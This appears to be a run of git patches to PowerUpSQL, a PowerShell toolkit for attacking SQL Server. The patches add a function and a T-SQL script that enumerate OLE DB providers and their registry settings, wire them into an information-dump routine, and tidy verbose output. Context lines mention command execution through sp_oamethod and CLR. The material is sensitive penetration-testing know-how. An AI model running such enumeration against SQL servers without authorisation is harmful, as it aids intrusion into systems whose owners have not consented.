work done with Nathan Kirk. --- PowerUpSQL.ps1 | 6 ++++-- PowerUpSQL.psd1 | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index dbc23f3..18c2eef 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.85.107 + Version: 1.85.108 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -2560,7 +2560,7 @@ EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "del $OutputPath"' , '0' , 't # Invoke-SQLOSCmdCLR # ---------------------------------- # Author: Scott Sutherland -# Note: This is based on Nathan Kirk's CRL template. +# References: This was built of off work done by Lee Christensen (@tifkin_) and Nathan Kirk (@sekirkity). # Reference: http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/ # Reference: https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.110).aspx Function Invoke-SQLOSCmdCLR @@ -11938,6 +11938,8 @@ Function Get-SQLServiceLocal # ------------------------------------------- # Function: Create-SQLFilCLRDLL # ------------------------------------------- +# Author: Scott Sutherland +# References: This was built of off work done by Lee Christensen (@tifkin_) and Nathan Kirk (@sekirkity). function Create-SQLFileCLRDll { <# diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 12ea60f..07c0963 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.85.107' + ModuleVersion = '1.85.108' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From e6ef606bc421f2a2a40629413a8c687c3ba7ed4c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 19 Oct 2017 21:50:42 -0500 Subject: [PATCH 121/145] Add Get-SQLOleDbProvider.sql Get-SQLOleDbProvider.sql can be used to grab a list of OLE providers configured in SQL Server. --- templates/tsql/Get-SQLOleDbProvider.sql | 117 ++++++++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 templates/tsql/Get-SQLOleDbProvider.sql diff --git a/templates/tsql/Get-SQLOleDbProvider.sql b/templates/tsql/Get-SQLOleDbProvider.sql new file mode 100644 index 0000000..e4d6089 --- /dev/null +++ b/templates/tsql/Get-SQLOleDbProvider.sql @@ -0,0 +1,117 @@ +-- Name: Get-SQLOleDbProvider.sql +-- Description: Get a list of OLE provider along with their current settings. +-- Author: Scott Sutherland, NetSPI 2017 + +-- Get a list of providers +CREATE TABLE #Providers ([ProviderName] varchar(8000), +[ParseName] varchar(8000), +[ProviderDescription] varchar(8000)) + +INSERT INTO #Providers +EXEC xp_enum_oledb_providers + +-- Create temp table for provider information +CREATE TABLE #ProviderInformation ([ProviderName] varchar(8000), +[ProviderDescription] varchar(8000), +[ProviderParseName] varchar(8000), +[AllowInProcess] int, +[DisallowAdHocAccess] int, +[DynamicParameters] int, +[IndexAsAccessPath] int, +[LevelZeroOnly] int, +[NestedQueries] int, +[NonTransactedUpdates] int, +[SqlServerLIKE] int) + +-- Setup required variables for cursor +DECLARE @Provider_name varchar(8000); +DECLARE @Provider_parse_name varchar(8000); +DECLARE @Provider_description varchar(8000); +DECLARE @property_name varchar(8000) +DECLARE @regpath nvarchar(512) + +-- Start cursor +DECLARE MY_CURSOR1 CURSOR +FOR +SELECT * FROM #Providers +OPEN MY_CURSOR1 +FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description +WHILE @@FETCH_STATUS = 0 + + BEGIN + + -- Set the registry path + SET @regpath = N'SOFTWARE\Microsoft\MSSQLServer\Providers\' + @provider_name + + -- AllowInProcess + DECLARE @AllowInProcess int + SET @AllowInProcess = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'AllowInProcess', @AllowInProcess OUTPUT + IF @AllowInProcess IS NULL + SET @AllowInProcess = 0 + + -- DisallowAdHocAccess + DECLARE @DisallowAdHocAccess int + SET @DisallowAdHocAccess = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DisallowAdHocAccess', @DisallowAdHocAccess OUTPUT + IF @DisallowAdHocAccess IS NULL + SET @DisallowAdHocAccess = 0 + + -- DynamicParameters + DECLARE @DynamicParameters int + SET @DynamicParameters = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DynamicParameters', @DynamicParameters OUTPUT + IF @DynamicParameters IS NULL + SET @DynamicParameters = 0 + + -- IndexAsAccessPath + DECLARE @IndexAsAccessPath int + SET @IndexAsAccessPath = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'IndexAsAccessPath', @IndexAsAccessPath OUTPUT + IF @IndexAsAccessPath IS NULL + SET @IndexAsAccessPath = 0 + + -- LevelZeroOnly + DECLARE @LevelZeroOnly int + SET @LevelZeroOnly = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'LevelZeroOnly', @LevelZeroOnly OUTPUT + IF @LevelZeroOnly IS NULL + SET @LevelZeroOnly = 0 + + -- NestedQueries + DECLARE @NestedQueries int + SET @NestedQueries = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NestedQueries', @NestedQueries OUTPUT + IF @NestedQueries IS NULL + SET @NestedQueries = 0 + + -- NonTransactedUpdates + DECLARE @NonTransactedUpdates int + SET @NonTransactedUpdates = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NonTransactedUpdates', @NonTransactedUpdates OUTPUT + IF @NonTransactedUpdates IS NULL + SET @NonTransactedUpdates = 0 + + -- SqlServerLIKE + DECLARE @SqlServerLIKE int + SET @SqlServerLIKE = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'SqlServerLIKE', @SqlServerLIKE OUTPUT + IF @SqlServerLIKE IS NULL + SET @SqlServerLIKE = 0 + + -- Add the full provider record to the temp table + INSERT INTO #ProviderInformation + VALUES (@Provider_name,@Provider_description,@Provider_parse_name,@AllowInProcess,@DisallowAdHocAccess,@DynamicParameters,@IndexAsAccessPath,@LevelZeroOnly,@NestedQueries,@NonTransactedUpdates,@SqlServerLIKE); + + FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description + + END + +-- Return records +SELECT * FROM #ProviderInformation + +-- Clean up +CLOSE MY_CURSOR1 +DEALLOCATE MY_CURSOR1 +DROP TABLE #Providers +DROP TABLE #ProviderInformation From 9a351c60f2efc4de97449b8bdf6c30c691b79015 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 09:25:38 -0500 Subject: [PATCH 122/145] Update description. --- templates/tsql/Get-SQLOleDbProvider.sql | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/templates/tsql/Get-SQLOleDbProvider.sql b/templates/tsql/Get-SQLOleDbProvider.sql index e4d6089..f73f59f 100644 --- a/templates/tsql/Get-SQLOleDbProvider.sql +++ b/templates/tsql/Get-SQLOleDbProvider.sql @@ -1,5 +1,7 @@ -- Name: Get-SQLOleDbProvider.sql --- Description: Get a list of OLE provider along with their current settings. +-- Description: Get a list of OLE DB providers along with their properties. +-- This query combines the output of sp_MSset_oledb_prop and sp_enum_oledb_providers. +-- Requirements: Sysadmin privileges. -- Author: Scott Sutherland, NetSPI 2017 -- Get a list of providers From c0c51ec1f1c7bb90bae981a2e81f7ec500807848 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 08:55:06 -0500 Subject: [PATCH 123/145] Add Get-SQLOleDbProvider Add Get-SQLOleDbProvider --- PowerUpSQL.ps1 | 325 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 324 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 18c2eef..3814229 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.85.108 + Version: 1.86.108 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -6345,6 +6345,8 @@ Function Get-SQLServerLogin } + + # ---------------------------------- # Get-SQLSession # ---------------------------------- @@ -6525,6 +6527,327 @@ Function Get-SQLSession } +# ---------------------------------- +# Get-SQLOleDbProvder +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLOleDbProvder +{ + <# + .SYNOPSIS + Returns a list of the providers installede on SQL Servers and their properties. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + PS C:\> Get-SQLOleDbProvder -Instance SQLServer1\STANDARDDEV2014 -Verbose + + ProviderName : SQLNCLI11 + ProviderDescription : SQL Server Native Client 11.0 + ProviderParseName : {397C2819-8272-4532-AD3A-FB5E43BEAA39} + AllowInProcess : 1 + DisallowAdHocAccess : 0 + DynamicParameters : 0 + IndexAsAccessPath : 0 + LevelZeroOnly : 0 + NestedQueries : 0 + NonTransactedUpdates : 0 + SqlServerLIKE : 0 + ... + + .EXAMPLE + PS C:\> Get-SQLOleDbProvder -Instance SQLServer1\STANDARDDEV2014 -Verbose | FT -AutoSize + + ProviderName ProviderDescription ProviderParseName Allo + ------------ ------------------- ----------------- ---- + SQLOLEDB Microsoft OLE DB Provider for SQL Server {0C7FF16C-38E3-11d0-97AB-00C04FC2AD98} 0 + SQLNCLI11 SQL Server Native Client 11.0 {397C2819-8272-4532-AD3A-FB5E43BEAA39} 1 + Microsoft.ACE.OLEDB.12.0 Microsoft Office 12.0 Access Database Engine OLE DB Provider {3BE786A0-0366-4F5C-9434-25CF162E475E} 0 + Microsoft.ACE.OLEDB.15.0 Microsoft Office 15.0 Access Database Engine OLE DB Provider {3BE786A1-0366-4F5C-9434-25CF162E475E} 0 + ADsDSOObject OLE DB Provider for Microsoft Directory Services {549365d0-ec26-11cf-8310-00aa00b505db} 1 + SSISOLEDB OLE DB Provider for SQL Server Integration Services {688037C5-0B57-464B-A953-90A806CC34C2} 0 + Search.CollatorDSO Microsoft OLE DB Provider for Search {9E175B8B-F52A-11D8-B9A5-505054503030} 0 + MSDASQL Microsoft OLE DB Provider for ODBC Drivers {c8b522cb-5cf3-11ce-ade5-00aa0044773d} 1 + MSOLAP Microsoft OLE DB Provider for Analysis Services 14.0 {DBC724B0-DD86-4772-BB5A-FCC6CAB2FC1A} 1 + MSDAOSP Microsoft OLE DB Simple Provider {dfc8bdc0-e378-11d0-9b30-0080c7e9fe95} 0 ... + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLOleDbProvder -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblProviders = New-Object -TypeName System.Data.DataTable + $null = $TblProviders.Columns.Add('ProviderName') + $null = $TblProviders.Columns.Add('ProviderDescription') + $null = $TblProviders.Columns.Add('ProviderParseName') + $null = $TblProviders.Columns.Add('AllowInProcess') + $null = $TblProviders.Columns.Add('DisallowAdHocAccess') + $null = $TblProviders.Columns.Add('DynamicParameters') + $null = $TblProviders.Columns.Add('IndexAsAccessPath') + $null = $TblProviders.Columns.Add('LevelZeroOnly') + $null = $TblProviders.Columns.Add('NestedQueries') + $null = $TblProviders.Columns.Add('NonTransactedUpdates') + $null = $TblProviders.Columns.Add('SqlServerLIKE') + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check sysadmin + $IsSysadmin = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + if($IsSysadmin -eq "No") + { + Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." + return + }else{ + Write-Verbose -Message "$Instance : You have sysadmin privileges." + Write-Verbose -Message "$Instance : Grabbing list of providers." + } + + + # SetUp Query + $Query = " + + -- Name: Get-SQLOleDbProvider.sql + -- Description: Get a list of OLE provider along with their current settings. + -- Author: Scott Sutherland, NetSPI 2017 + + -- Get a list of providers + CREATE TABLE #Providers ([ProviderName] varchar(8000), + [ParseName] varchar(8000), + [ProviderDescription] varchar(8000)) + + INSERT INTO #Providers + EXEC xp_enum_oledb_providers + + -- Create temp table for provider information + CREATE TABLE #ProviderInformation ([ProviderName] varchar(8000), + [ProviderDescription] varchar(8000), + [ProviderParseName] varchar(8000), + [AllowInProcess] int, + [DisallowAdHocAccess] int, + [DynamicParameters] int, + [IndexAsAccessPath] int, + [LevelZeroOnly] int, + [NestedQueries] int, + [NonTransactedUpdates] int, + [SqlServerLIKE] int) + + -- Setup required variables for cursor + DECLARE @Provider_name varchar(8000); + DECLARE @Provider_parse_name varchar(8000); + DECLARE @Provider_description varchar(8000); + DECLARE @property_name varchar(8000) + DECLARE @regpath nvarchar(512) + + -- Start cursor + DECLARE MY_CURSOR1 CURSOR + FOR + SELECT * FROM #Providers + OPEN MY_CURSOR1 + FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description + WHILE @@FETCH_STATUS = 0 + + BEGIN + + -- Set the registry path + SET @regpath = N'SOFTWARE\Microsoft\MSSQLServer\Providers\' + @provider_name + + -- AllowInProcess + DECLARE @AllowInProcess int + SET @AllowInProcess = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'AllowInProcess', @AllowInProcess OUTPUT + IF @AllowInProcess IS NULL + SET @AllowInProcess = 0 + + -- DisallowAdHocAccess + DECLARE @DisallowAdHocAccess int + SET @DisallowAdHocAccess = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DisallowAdHocAccess', @DisallowAdHocAccess OUTPUT + IF @DisallowAdHocAccess IS NULL + SET @DisallowAdHocAccess = 0 + + -- DynamicParameters + DECLARE @DynamicParameters int + SET @DynamicParameters = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'DynamicParameters', @DynamicParameters OUTPUT + IF @DynamicParameters IS NULL + SET @DynamicParameters = 0 + + -- IndexAsAccessPath + DECLARE @IndexAsAccessPath int + SET @IndexAsAccessPath = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'IndexAsAccessPath', @IndexAsAccessPath OUTPUT + IF @IndexAsAccessPath IS NULL + SET @IndexAsAccessPath = 0 + + -- LevelZeroOnly + DECLARE @LevelZeroOnly int + SET @LevelZeroOnly = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'LevelZeroOnly', @LevelZeroOnly OUTPUT + IF @LevelZeroOnly IS NULL + SET @LevelZeroOnly = 0 + + -- NestedQueries + DECLARE @NestedQueries int + SET @NestedQueries = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NestedQueries', @NestedQueries OUTPUT + IF @NestedQueries IS NULL + SET @NestedQueries = 0 + + -- NonTransactedUpdates + DECLARE @NonTransactedUpdates int + SET @NonTransactedUpdates = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'NonTransactedUpdates', @NonTransactedUpdates OUTPUT + IF @NonTransactedUpdates IS NULL + SET @NonTransactedUpdates = 0 + + -- SqlServerLIKE + DECLARE @SqlServerLIKE int + SET @SqlServerLIKE = 0 + exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE',@regpath,'SqlServerLIKE', @SqlServerLIKE OUTPUT + IF @SqlServerLIKE IS NULL + SET @SqlServerLIKE = 0 + + -- Add the full provider record to the temp table + INSERT INTO #ProviderInformation + VALUES (@Provider_name,@Provider_description,@Provider_parse_name,@AllowInProcess,@DisallowAdHocAccess,@DynamicParameters,@IndexAsAccessPath,@LevelZeroOnly,@NestedQueries,@NonTransactedUpdates,@SqlServerLIKE); + + FETCH NEXT FROM MY_CURSOR1 INTO @Provider_name,@Provider_parse_name,@Provider_description + + END + + -- Return records + SELECT * FROM #ProviderInformation + + -- Clean up + CLOSE MY_CURSOR1 + DEALLOCATE MY_CURSOR1 + DROP TABLE #Providers + DROP TABLE #ProviderInformation" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append results for pipeline items + $TblResults | + ForEach-Object -Process { + + # Add record to master table + $null = $TblProviders.Rows.Add( + $_.ProviderName, + $_.ProviderDescription, + $_.ProviderParseName, + $_.AllowInProcess, + $_.DisallowAdHocAccess, + $_.DynamicParameters, + $_.IndexAsAccessPath, + $_.LevelZeroOnly, + $_.NestedQueries, + $_.NonTransactedUpdates, + $_.SqlServerLIKE + ) + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblProviders + } +} + + # ---------------------------------- # Get-SQLSysadminCheck # ---------------------------------- From 90af54a4063e28023f2f6029bd46f5fd2ecff948 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 08:56:18 -0500 Subject: [PATCH 124/145] Add Get-SQLOleDbProvder Add Get-SQLOleDbProvder --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 07c0963..4a245e5 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.85.108' + ModuleVersion = '1.86.108' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -36,6 +36,7 @@ 'Get-SQLInstanceScanUDP', 'Get-SQLInstanceScanUDPThreaded', 'Get-SQLLocalAdminCheck', + 'Get-SQLOleDbProvder', 'Get-SQLQuery', 'Get-SQLQueryThreaded', 'Get-SQLRecoverPwAutoLogon', From a9841618b79c55d14a55b48c660b153b29181674 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 08:58:25 -0500 Subject: [PATCH 125/145] Add Get-SQLOleDbProvder placeholder Add Get-SQLOleDbProvder placeholder --- tests/PowerUpSQLTests.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/PowerUpSQLTests.ps1 b/tests/PowerUpSQLTests.ps1 index 4b0404a..81efc25 100644 --- a/tests/PowerUpSQLTests.ps1 +++ b/tests/PowerUpSQLTests.ps1 @@ -13,6 +13,7 @@ ###################################################### <# +Get-SQLOleDbProvder Get-SQLInstanceDomain Get-SQLInstanceFile Get-SQLInstanceLocal From 8af9130dd285d802fc87c451924ba155bc2191ee Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 09:06:35 -0500 Subject: [PATCH 126/145] Update Get-SQLDumpInfo Added Get-SQLOleDbProvder information gathering. --- PowerUpSQL.ps1 | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 3814229..470e4fa 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -23312,6 +23312,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting OLE DB provder information + Write-Verbose -Message "$Instance - Getting OLE DB provder information..." + $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + Write-Verbose -Message "$Instance - END" } From 3d7ca9e576b2db30f5e6ff74d6d4c7db5cd0688c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 09:21:43 -0500 Subject: [PATCH 127/145] Fix verbose output Fix verbose output - Get-SQLAgentJob - Get-SQLOleDbProvider --- PowerUpSQL.ps1 | 83 ++++++++++++++++++++++++++++++------------------- PowerUpSQL.psd1 | 2 +- 2 files changed, 52 insertions(+), 33 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 470e4fa..99431cf 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.86.108 + Version: 1.86.109 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -6687,13 +6687,17 @@ Function Get-SQLOleDbProvder $IsSysadmin = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq "No") { - Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." + } return }else{ - Write-Verbose -Message "$Instance : You have sysadmin privileges." - Write-Verbose -Message "$Instance : Grabbing list of providers." - } - + + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : You have sysadmin privileges." + Write-Verbose -Message "$Instance : Grabbing list of providers." + } + } # SetUp Query $Query = " @@ -7332,7 +7336,9 @@ Function Get-SQLAgentJob Begin { - Write-Verbose -Message "SQL Server Agent Job Search Starting..." + if(-not $SuppressVerbose){ + Write-Verbose -Message "SQL Server Agent Job Search Starting..." + } # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable @@ -7434,11 +7440,15 @@ Function Get-SQLAgentJob $IsAgentServiceEnabled = Get-SQLQuery -Instance $Instance -Query "SELECT 1 FROM sysprocesses WHERE LEFT(program_name, 8) = 'SQLAgent'" -Username $Username -Password $Password -SuppressVerbose if ($IsAgentServiceEnabled) { - Write-Verbose -Message "$Instance : - SQL Server Agent service enabled." + if(-not $SuppressVerbose){ + Write-Verbose -Message "$Instance : - SQL Server Agent service enabled." + } } else { - Write-Verbose -Message "$Instance : - SQL Server Agent service has not been started." + if(-not $SuppressVerbose){ + Write-Verbose -Message "$Instance : - SQL Server Agent service has not been started." + } } # Get logins that have SQL Agent roles @@ -7451,7 +7461,9 @@ Function Get-SQLAgentJob if($AgentJobPrivs -or ($Sysadmin -eq "Yes")) { - Write-Verbose -Message "$Instance : - Attempting to list existing agent jobs as $CurrentLogin." + if(-not $SuppressVerbose){ + Write-Verbose -Message "$Instance : - Attempting to list existing agent jobs as $CurrentLogin." + } # Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx @@ -7491,7 +7503,9 @@ Function Get-SQLAgentJob # Get number of results $AgentJobCount = $result.rows.count - Write-Verbose -Message "$Instance : - $AgentJobCount agent jobs found." + if(-not $SuppressVerbose){ + Write-Verbose -Message "$Instance : - $AgentJobCount agent jobs found." + } # Update data table @@ -7517,7 +7531,9 @@ Function Get-SQLAgentJob } else { - Write-Verbose -Message "$Instance : - The current login ($CurrentLogin) does not have any agent privileges." + if(-not $SuppressVerbose){ + Write-Verbose -Message "$Instance : - The current login ($CurrentLogin) does not have any agent privileges." + } return } @@ -7542,7 +7558,9 @@ Function Get-SQLAgentJob End { - Write-Verbose -Message "SQL Server Agent Job Search Complete." + if(-not $SuppressVerbose){ + Write-Verbose -Message "SQL Server Agent Job Search Complete." + } # Get total count of jobs $TotalAgentCount = $TblResults.rows.Count @@ -7559,26 +7577,27 @@ Function Get-SQLAgentJob # Get instance summary data $SummaryInstance = $TblResults | Select-Object Instance -Unique | Measure-Object | Select-Object Count -ExpandProperty Count - Write-Verbose -Message "---------------------------------" - Write-Verbose -Message "Agent Job Summary" - Write-Verbose -Message "---------------------------------" - Write-Verbose -Message " $TotalAgentCount jobs found" - Write-Verbose -Message " $SummaryServer affected systems" - Write-Verbose -Message " $SummaryInstance affected SQL Server instances" - Write-Verbose -Message " $SummaryProxyAccount proxy credentials used" - - Write-Verbose -Message "---------------------------------" - Write-Verbose -Message "Agent Job Summary by SubSystem" - Write-Verbose -Message "---------------------------------" - $SummarySubSystem | - ForEach-Object { - $SubSystem_Name = $_.Name - $SubSystem_Count = $_.Count - Write-Verbose -Message " $SubSystem_Count $SubSystem_Name Jobs" + if(-not $SuppressVerbose){ + Write-Verbose -Message "---------------------------------" + Write-Verbose -Message "Agent Job Summary" + Write-Verbose -Message "---------------------------------" + Write-Verbose -Message " $TotalAgentCount jobs found" + Write-Verbose -Message " $SummaryServer affected systems" + Write-Verbose -Message " $SummaryInstance affected SQL Server instances" + Write-Verbose -Message " $SummaryProxyAccount proxy credentials used" + + Write-Verbose -Message "---------------------------------" + Write-Verbose -Message "Agent Job Summary by SubSystem" + Write-Verbose -Message "---------------------------------" + $SummarySubSystem | + ForEach-Object { + $SubSystem_Name = $_.Name + $SubSystem_Count = $_.Count + Write-Verbose -Message " $SubSystem_Count $SubSystem_Name Jobs" + } + Write-Verbose -Message " $TotalAgentCount Total" + Write-Verbose -Message "---------------------------------" } - Write-Verbose -Message " $TotalAgentCount Total" - Write-Verbose -Message "---------------------------------" - # Return data $TblResults diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 4a245e5..840a6a0 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.86.108' + ModuleVersion = '1.86.109' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 43cfd760c280e4997051aad639f5b98b9ce71061 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 16:20:09 -0500 Subject: [PATCH 128/145] Add Get-SQLDomainUser Add Get-SQLDomainUser --- PowerUpSQL.ps1 | 390 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 391 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 99431cf..74a40eb 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.86.109 + Version: 1.86.110 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -6613,6 +6613,8 @@ Function Get-SQLOleDbProvder # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblProviders = New-Object -TypeName System.Data.DataTable + $null = $TblProviders.Columns.Add('ComputerName') + $null = $TblProviders.Columns.Add('Instance') $null = $TblProviders.Columns.Add('ProviderName') $null = $TblProviders.Columns.Add('ProviderDescription') $null = $TblProviders.Columns.Add('ProviderParseName') @@ -6829,6 +6831,8 @@ Function Get-SQLOleDbProvder # Add record to master 